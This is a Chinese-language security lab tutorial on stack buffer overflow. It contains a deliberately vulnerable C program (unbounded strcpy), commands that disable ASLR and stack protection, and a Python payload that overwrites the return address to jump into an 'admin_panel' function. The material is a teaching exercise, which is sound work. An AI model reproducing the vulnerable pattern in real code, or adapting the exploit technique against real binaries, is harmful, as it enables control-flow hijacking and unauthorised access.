2. 栈溢出利用
任务目标
本案例通过一个存在栈缓冲区溢出漏洞的C程序,演示如何构造恶意输入覆盖函数返回地址,将程序控制流劫持到攻击者指定的函数(本例为admin_panel),从而执行未授权操作。完成本案例后,你将理解栈帧布局、返回地址覆盖原理及漏洞利用的基本方法。
漏洞程序
// vuln.c - 存在栈溢出漏洞的程序
#include <stdio.h>
#include <string.h>
void admin_panel(void) {
printf("*** 管理员面板已解锁 ***\n");
printf("执行特权操作...\n");
}
void vulnerable_func(const char *input) {
char buffer[64];
strcpy(buffer, input); // 漏洞点:无边界检查的字符串拷贝
printf("处理完成: %s\n", buffer);
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("用法: %s <输入字符串>\n", argv[0]);
return 1;
}
vulnerable_func(argv[1]);
printf("程序正常结束\n");
return 0;
}
编译与准备
# 关闭栈保护、禁用ASLR(需root权限)
sudo sysctl -w kernel.randomize_va_space=0
gcc -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
利用原理
在x86-64架构中,函数调用时栈布局从高地址到低地址依次为:函数参数、返回地址、保存的帧指针、局部变量。当strcpy向buffer[64]写入超过64字节的数据时,会依次覆盖保存的帧指针(8字节)和返回地址(8字节)。通过精确控制偏移量,可将返回地址覆盖为admin_panel函数的起始地址,使函数返回时跳转到该地址执行。
构造利用输入
# 获取admin_panel函数地址
objdump -d vuln | grep "<admin_panel>" | head -1
# 输出示例: 0000000000401156 <admin_panel>:
# 生成恶意输入(64字节填充 + 8字节帧指针 + 8字节目标地址)
python3 -c "
import struct
addr = 0x401156 # 替换为实际获取的admin_panel地址
payload = b'A' * 64 + b'B' * 8 + struct.pack('<Q', addr)
with open('payload.txt', 'wb') as f:
f.write(payload)
print('Payload已生成,长度:', len(payload))
"
验证利用效果
# 运行漏洞程序并传入payload
./vuln "$(cat payload.txt)"
预期输出:
处理完成: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\x56\x11\x40
*** 管理员面板已解锁 ***
执行特权操作...
Segmentation fault (core dumped)
当看到“管理员面板已解锁”输出时,说明返回地址覆盖成功,控制流已被劫持到admin_panel函数。最后的段错误是因为admin_panel返回时栈已损坏,属于正常现象。
判定标准
- 程序输出包含“管理员面板已解锁”字样,证明
admin_panel被执行 - 正常输入(如
./vuln hello)时程序不会进入管理员面板,仅输出“程序正常结束” - 对比两种输入下的行为差异,确认控制流劫持是由恶意输入触发
关键说明
- 偏移量64+8=72字节是x86-64架构下该程序的固定值,若修改代码或编译选项需重新计算
- 实际利用时需先通过
objdump获取目标函数地址,不同编译环境地址不同 - 本案例仅用于安全教学,请勿对未授权系统实施攻击